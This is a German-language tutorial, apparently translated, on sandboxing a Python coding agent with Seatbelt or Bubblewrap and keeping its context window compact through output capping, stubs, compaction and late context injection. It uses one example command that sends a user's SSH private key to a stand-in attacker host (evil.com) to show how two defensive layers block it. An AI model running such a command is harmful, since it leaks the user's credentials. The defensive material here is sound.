Sandboxing eines Programmier-Agenten und Beibehaltung eines kompakten Kontextfensters
Erstellen Sie einen Code-Agenten in einer Sandbox mit Seatbelt oder Bubblewrap und halten Sie sein Kontextfenster durch das Verwenden von Überlaufdateien, Stubs, Komprimierung sowie injectionen, die den Prefix-Cache berücksichtigen, übersichtlich.
Quellen: Harness Engineering: Build the Runtime That Turns an LLM Into an Agent (Part 2/3)
Das Gewähren eines Shell-Zugriffs, der Dateibearbeitung sowie einer Bestätigungsanfrage für zerstörerische Aktionen an einen Programmieragenten lässt immer noch zwei Lücken bestehen. Die Anfragen legen lediglich fest, welche Aktionen die Aufmerksamkeit eines Menschen erfordern, und können ein Modell nicht davon abhalten, einen heimlichen Weg um sie herum zu finden. Zudem füllt selbst ein höflicher Agent mit der Zeit sein Kontextfenster, was die Leistung verschlechtert. Zwei Ergänzungen beheben dies: eine Sandbox, die ein schlechtes Verhalten physisch unmöglich macht, sowie Kontextengineering, das lange Sitzungen kostengünstig und nutzbar hält. Es handelt sich dabei um eine kleine Python-Bibliothek – es sind keine Frameworks involviert.
Die betroffenen Dateien:
coding_harness/sandbox.py # Seatbelt (macOS) / Bubblewrap (Linux)
coding_harness/history.py # cap, strip, drop
coding_harness/compact.py # LLM summary when the window is ~full
coding_harness/context.py # late injection (time, git, file changes)
Sandbox: die Wände, nicht das Schloss
Eine Sandbox ist eine Umgebung, in der Code ausgeführt werden kann, ohne etwas außerhalb davon zu beschädigen. Stellen Sie sich einen Fischteich vor: Die Fische (die Befehle des Agents) schwimmen frei herum, während das Wasser den Boden nicht berührt. Die Genehmigungsanfrage ist ein Schloss an der Tür, und die Sandbox sind die Wände um den Raum herum. Anfragen helfen nur, solange ein Befehl harmlos erscheint, es aber nicht ist, oder bis das Modell eine Workaround-Lösung findet.
Jeder bash-Befehl wird innerhalb eines auf Betriebssystemebene befindlichen „Jails“ mit folgenden Regeln ausgeführt:
- Lesen ist überall erlaubt, da der Agent den Code verstehen muss, einschließlich Dateien außerhalb des Projekts
- Schreiben ist nur innerhalb des Projekts erlaubt
- Kein Netzwerkzugriff
- Kein Schreiben in
.git
Apples eigenes Mechanismus kümmert sich um macOS – eine Funktion namens Seatbelt, die über sandbox-exec gesteuert wird und auch App Store-Apps einschränkt. Linux verwendet Bubblewrap (bwrap), das Tool hinter Flatpak. Es ist keine Vorkenntnis in einem dieser Bereiche erforderlich, da die Arbeit im Grunde darauf besteht, eine kurze Richtlinie zu verfassen, die festlegt, was erlaubt ist.
Die Richtlinie für macOS umfasst nur wenige Zeilen:
(version 1)
(deny default)
(allow process-exec process-fork signal)
(allow file-read*)
(allow sysctl-read)
(deny network*)
(allow file-write* (subpath "/your/project") (literal "/dev/null"))
(deny file-write* (subpath "/your/project/.git"))
(deny default) schließt alle Türen, danach werden einige wieder geöffnet: das Lesen von Dateien, das Starten von Prozessen und das Schreiben innerhalb des Projekts. Das Netzwerk sowie .git bleiben geschlossen, genauso wie alles andere.
Die wrap()-Funktion schreibt diese Richtlinie in eine temporäre Datei und sendet den Befehl über sandbox-exec (in sandbox.py):
def wrap(command):
if sys.platform == "darwin":
profile = Path(tempfile.gettempdir()) / "agent-sandbox.sb"
profile.write_text(PROFILE)
return ["sandbox-exec", "-f", str(profile), "/bin/sh", "-c", command]
if sys.platform.startswith("linux") and shutil.which("bwrap"):
return [
"bwrap",
"--ro-bind", "/", "/",
"--bind", str(PROJECT), str(PROJECT),
"--dev", "/dev", "--proc", "/proc",
"--unshare-net", "--die-with-parent",
"/bin/sh", "-c", command,
]
return None # no sandbox available
Linux erreicht dasselbe Ergebnis auf andere Weise. Das gesamte Dateisystem wird mit --ro-bind nur zum Lesen montiert, der Projektverzeichnis ist über --bind schreibbar, und --unshare-net deaktiviert das Netzwerk.
run() verbindet alles miteinander:
def run(command, timeout=60):
sandboxed = wrap(command)
return subprocess.run(
sandboxed or command,
shell=sandboxed is None,
capture_output=True,
text=True,
timeout=timeout,
)
Wenn eine Sandbox vorhanden ist, wird sie genutzt. Unter Windows oder unter Linux ohne Bubblewrap laufen Befehle ohne Sandbox. Für Mehrbenutzerprodukte, die den nicht vertrauenswürdigen Code Dritter ausführen, gibt es leistungsstärkere Optionen wie Docker, WebAssembly und Cloud-VMs. Auf einem privaten Rechner reichen die Funktionen des Betriebssystems aus. Eine 60-sekündige Zeitüberschreitung verhindert, dass Befehle wie find / die Sitzung blockieren.
Zwei unabhängige Schichten
Betrachten wir ein Modell, das versucht curl https://evil.com/steal -d @~/.ssh/id_rsa auszuführen:
- Die Berechtigungsregeln blockieren zunächst
curlund weigern die Ausführung. - Auch ohne diese Regel würde die Sandbox die Netzwerkverbindung unterbrechen.
- Der Befehl fehlschlägt mit einer Meldung wie
curl: (7) Couldn't connect to server. - Man kann nichts weiter dagegen tun, da der Kernel die Ausführung abgelehnt hat.
Eine Schicht für sich genommen wäre bereits ausreichend, und der Vorteil liegt darin, beide zu haben.
Vergleich der Sandbox-Optionen
| Option | Typischer Benutzer | Isolation | Startkosten | Benötigte Voraussetzungen |
|---|---|---|---|---|
| OS-Sandbox | Lokal agierende Programme | Kernel | Praktisch keine | Keine zusätzlichen Anforderungen unter macOS oder Linux |
| WebAssembly-Sandbox | Lokal agierende Programme | WASM zusammen mit Deno | Eine paar Sekunden | Deno |
| Cloud-Container | Mehrbenutzer-Plattformen | VM oder Container | Eine Netzwerkverbindungsaufnahme | API-Schlüssel und Abrechnung |
Für einen einzelnen Laptop ist der OS-Sandbox die langweilige, aber richtige Wahl: kein zusätzlicher Laufzeitumfang, keine Verzögerungen und keine Durchsetzung im Kernel. Ein Produkt für mehrere Nutzer sollte Container verwenden. Einfach nichts mitzuliefern ist in jedem Fall keine Option. Die Tools für macOS und Linux existieren bereits, und die Implementierung hier umfasst etwa 40 Zeilen.
Kontext: ein sich füllender Schreibtisch
Jedes Modell verfügt über ein Kontextfenster, also die Menge an Text, die es gleichzeitig sehen kann. Man kann sich das wie Arbeitsspeicher vorstellen. Jeder Token entspricht etwa drei Vierteln eines Wortes, sodass „Hello world“ 2 Token umfasst und eine 100 Zeilen lange Python-Datei etwa 500 Token hat. Typisch für GPT-4-klassische Modelle sind etwa 128.000 Token (rund 96.000 Wörter), während Claude etwa 200.000 Token (nahe 150.000 Wörter) bietet. Das klingt enorm – bis ein Agent mit der Arbeit beginnt.
Jedes Ergebnis eines Tools landet im Gesprächsverlauf. Ein großer grep-Aufruf kann 50.000 Zeichen zurückgeben, eine große Datei fügt weitere 10.000 Zeichen hinzu, und ein langer Debugging-Prozess beinhaltet Hunderte von Aufrufen. Schließlich verliert das Modell den Überblick.
Ein Schreibtisch ist die richtige Analogie: Alles, was darauf gelegt wird, bleibt dort, und nach einer Stunde lässt sich die gesuchte Seite nicht mehr finden. Die Lösung besteht darin, die neuesten Seiten vor sich zu behalten, den Rest wegzusortieren und einige wegzuwerfen.
Vier Ebenen arbeiten nacheinander, von der günstigsten zur teuersten, und eine spätere Ebene wird nur aktiviert, wenn die früheren nicht ausreichten.
Ebene 1: Obergrenze bei Erhalt
Kürzen Sie ein Ergebnis sofort, sobald ein Tool es zurückgibt. Der vollständige Text wird in eine temporäre Datei geschrieben, und ein Pointer bleibt im Text erhalten (history.py):
CAP = 10_000 # chars the agent sees inline
def cap(text):
if len(text) <= CAP:
return text
path = spill(text) # write full output to a temp file
return (
text[:CAP]
+ f"\n\n[output trimmed: {len(text) - CAP} of {len(text)} chars cut. "
f"The whole output is at {path} - page through it with "
"head, tail, sed -n or grep. It is deleted when this turn ends.]"
)
Ein Ergebnis mit 50.000 Zeichen zeigt nur 10.000 Zeichen inline an. Der Rest wird als Spill-Datei auf der Festplatte gespeichert, und das Tool kann diese mit head, tail oder grep durchsuchen, falls mehr benötigt wird. Das Kürzen erfolgt einmal, beim Erstellen des Ergebnisses, und alte Nachrichten werden niemals neu geschrieben. Am Ende jeder Schleife löscht sweep() die temporären Dateien, und das Ausführen des Befehls erzeugt bei Bedarf die Datei erneut.
Probieren Sie einen echten grep -r „import“ . aus:
# The agent sees the first 10,000 chars inline...
import os
import sys
from pathlib import Path
... (hundreds more lines) ...
[output trimmed: 40,000 of 50,000 chars cut. The whole output is at
/tmp/agent-spill-a1b2c3 - page through it with head, tail, sed -n or grep.
It is deleted when this turn ends.]
Um eine bestimmte Import-Anweisung zu finden, kann der Agent grep „import auth“ auf die Ausgabe-Datei anwenden. Die vollständige Ausgabe muss nicht immer im Kontext dargestellt werden.
Ebene 2: Alte Ergebnisse auf Miniformate verkleinern
Sobald das Modell weitergegangen ist, müssen die alten Ergebnisse der Tools nicht mehr groß bleiben. Sie werden auf Miniformate verkleinert (auch in history.py):
STUB = 300 # chars kept after the turn ends
def strip(messages):
for message in messages[:-2]: # skip recent messages
content = message.get("content") or ""
if message["role"] != "tool" or len(content) <= STUB:
continue
message["content"] = content[:STUB] + "\n\n[output trimmed: ...]"
Wenn eine Runde endet, wird die Ausgabe des alten Tools auf 300 Zeichen reduziert – genug, um sich daran zu erinnern, was es war, aber zu wenig, um Platz zu verschwenden. Jüngere Nachrichten bleiben unberührt. Diese Schicht sorgt dafür, dass lange Sitzungen weiterlaufen. Die Umwandlung von 10.000 Zeichen in 300 über 50 Toolaufrufe unterscheidet eine Sitzung, die andauert, von einer, die abbricht.
Schicht 3: komplette Ergebnisse entfernen
Falls die Menge immer noch zu groß ist, werden die gesamten Ergebnisse des Tools entfernt, wobei die ältesten zuerst fallen:
def fit(messages):
budget = config.CONTEXT_WINDOW * config.COMPACT_AT
dropped = 0
for message in messages[:-2]: # skip recent messages
if estimate(messages) <= budget:
break
if message["role"] == "tool":
message["content"] = "[output trimmed: dropped to fit the context window.]"
dropped += 1
return dropped
Das ist die Panikschaltfläche. Dabei gehen Informationen verloren, was immer noch besser ist als ein Absturz. Solange die ersten beiden Ebenen funktionieren, tritt sie fast nie in Aktion.
Ebene 4: Komprimierung durch ein zweites Modell
Sobald die Nutzung über 85 Prozent des Zeitfensters hinausgeht, liest ein zweites LLM den gesamten Transkript und erstellt eine Übergabeanmerkung, ähnlich wie Krankenschwestern die nächste Schicht informieren (compact.py):
COMPACT_SYSTEM_PROMPT = """
You are compacting the transcript of a coding session. Write the handoff note
that lets a fresh agent pick the work up without re-reading anything.
## Goal
What the user asked for. Quote them where the exact wording matters.
## What happened
Decisions taken and the reasoning behind them. Include approaches that were
tried and abandoned, and why.
## Files
Every file touched: path, and what changed in it.
## State
What works, what is broken, what was left half-finished.
## Next
The immediate next step.
"""
Danach enthält der Kontext den Systemhinweis, die Zusammenfassung sowie die letzten Nachrichten. Die Wort-für-Wort-Historie verschwindet, während die Handlungsabläufe erhalten bleiben. Ein neuer Agent oder derselbe nach einem Neustart setzt seine Arbeit anhand dieser Notizen fort. Die Komprimierung erfolgt bei 85 % und wird auf 35 % reduziert, wodurch vor dem nächsten Lauf ausreichend Platz bleibt:
COMPACT_AT = 0.85 # trigger compaction at 85%
COMPACT_TO = 0.35 # cut back to 35%
Die Anordnung ist absichtlich so gewählt. Das Begrenzen der Kosten kostet nichts, das Entfernen ist günstig, das Weglassen schadet und die Komprimierung erfordert einen zusätzlichen Aufruf des LLMs. Die meisten Sitzungen erreichen niemals Schicht 2.
Präfix-Caching und späte Einbindung
Dieser Aspekt wird oft übersehen, spart aber echtes Geld. Bei jedem API-Aufruf liest der Server die Nachrichten von Anfang an. Selbst bei einer Historie von 100.000 Token plus 100 neuen bedeutet das weiterhin das Erneut Lesen von 100.000 Token, was bei jedem Schritt berechnet wird.
Präfix-Caching ändert das. Wenn der Anfang der Nachrichtenliste unverändert ist, nutzt der Server die bereits bearbeiteten Teile erneut und verarbeitet nur den neuen Teil, wodurch die Kosten je nach Anbieter um 50 bis 90 Prozent gesenkt werden.
Das Problem ist, dass ein Agent bei jedem Schritt aktuelle Informationen benötigt: die Uhrzeit, die Git-Branch, die geänderten Dateien. Wenn man diese in die Systemanweisung, die erste Nachricht, einfügt, ändern sich die Präfixe, der Cache geht verloren und jeder Schritt wird erneut aufwendig.
Die Lösung besteht darin, diese Informationen ganz am Ende hinzuzufügen, unmittelbar bevor die Anfrage gesendet wird (context.py). In agent.py lautet der Aufruf call_llm(messages + [reminder()]). Der Reminder wird nur für diese eine Anfrage in die Liste eingefügt, wodurch die gespeicherte Historie und somit auch die Präfixe niemals um einen Byte verändert werden. Das Prinzip ist die späte Einbindung: Alles, was variieren kann, gehört an das Ende der Anfrage und nicht in die Systemanweisung.
def reminder():
return {
"role": "user",
"content": (
"<context>\n"
f"time: {datetime.now():%Y-%m-%d %H:%M}\n"
f"git branch: {git('branch --show-current').strip() or '(detached)'}\n"
"</context>" + todos_note() + changes_note()
),
}
changes_note() vergleicht den git status zwischen den Runden, sodass der Agent erkennt, wann etwas in einer IDE geändert wurde:
def changes_note():
changed = file_changes()
if not changed:
return ""
lines = [f"{LABELS.get(code, code)}: {path}" for path, code in changed.items()]
return (
"\n<file_changes>\n"
"These files changed since your last turn. Read them again before "
"editing:\n" + "\n".join(lines) + "\n</file_changes>"
)
Der Systemprompt und die Historie bleiben unverändert; die API speichert nur dieses Präfix und nur der neue Inhalt kostet etwas. Die Erinnerung enthält die Zeit, die Git-Branch, <todos> falls ein Plan vorhanden ist, sowie <file_changes> aus git status seit dem letzten Schritt, wodurch der Agent dazu aufgefordert wird, Dateien, die an anderer Stelle geändert wurden, erneut zu lesen. In einer 50-Schritte umfassenden Debugging-Sitzung mit 100.000 Kontextzeichen wird so das erneute Verarbeiten von Millionen an Token vermieden – und das fast ohne zusätzlichen Code. Die Daten pro Schritt werden hinzugefügt, nie im Systemprompt gespeichert.
CONTEXT_WINDOW hat standardmäßig den Wert 128.000 und kann in ~/.agents/env für ein anderes Modell angepasst werden.
Was der Agent jetzt kann
Mit den vorhandenen Schleifenmechanismen, Tools, Berechtigungen, Sandbox-Funktionen sowie der Kontextverwaltung kann der Agent:
- selbstständig Schleifen ausführen, Tools aufrufen und die Ergebnisse zurückgeben
- Fehlerhafte Tool-Aufrufe überstehen
- Fragen Sie vor gefährlichen Aktionen und lehnen Sie die schlimmsten ab
- Führen Sie Befehle in einer Kernel-Sandbox aus, die kein Netzwerk hat und deren Schreibzugriff auf das Projekt beschränkt ist
- Halten Sie das Fenster durch vier Ebenen sauber
- Halten Sie den Präfix-Cache durch späte Einbindung intakt
Zusammen sorgen diese Maßnahmen dafür, dass die Nutzung sicher und kostengünstig genug ist, um täglich angewandt zu werden. Es bestehen jedoch noch Lücken: kein Gedächtnis über Sessions hinweg, keine Planung für mehrstufige Aufgaben und keine Möglichkeit, die Erkundung an einen Helfer zu übergeben. Fähigkeiten, eine ordentliche To-Do-Liste, persistente Sessions sowie Subagenten, die den Kontext außerhalb des Hauptfensters verarbeiten, könnten diese Lücken schließen. Diese Grundelemente sind dieselben, die auch Produktionsagenten verwenden, und an ihnen gibt es nichts Geheimnisvolles.
Verwandte Literatur
- Harness Engineering: Der Laufzeitumgebung, die ein LLM in einen Agenten verwandelt — Was tatsächlich dafür sorgt, dass ein Programmieragent funktioniert: Schleifen, Tool-Verwaltung, die auch fehlerhafte Aufrufe übersteht, sowie Berechtigungen, die gestellt, angefordert oder verweigert werden können, dargestellt anhand von etwa 600 Zeilen reinen Python-Code.
- Praktische Hinweise: „MCP: Das Protokoll, das KI von einem Chatbot in einen KI-Agenten verwandelt“ — Detaillierte Anleitung zu den Praktischen Hinweisen „MCP: Das Protokoll, das KI von einem Chatbot in einen KI-Agenten“: Verträge, Überprüfungen sowie Code-Blöcke, die direkt in Systeme integriert werden können, die MCP-Systeme einsetzen.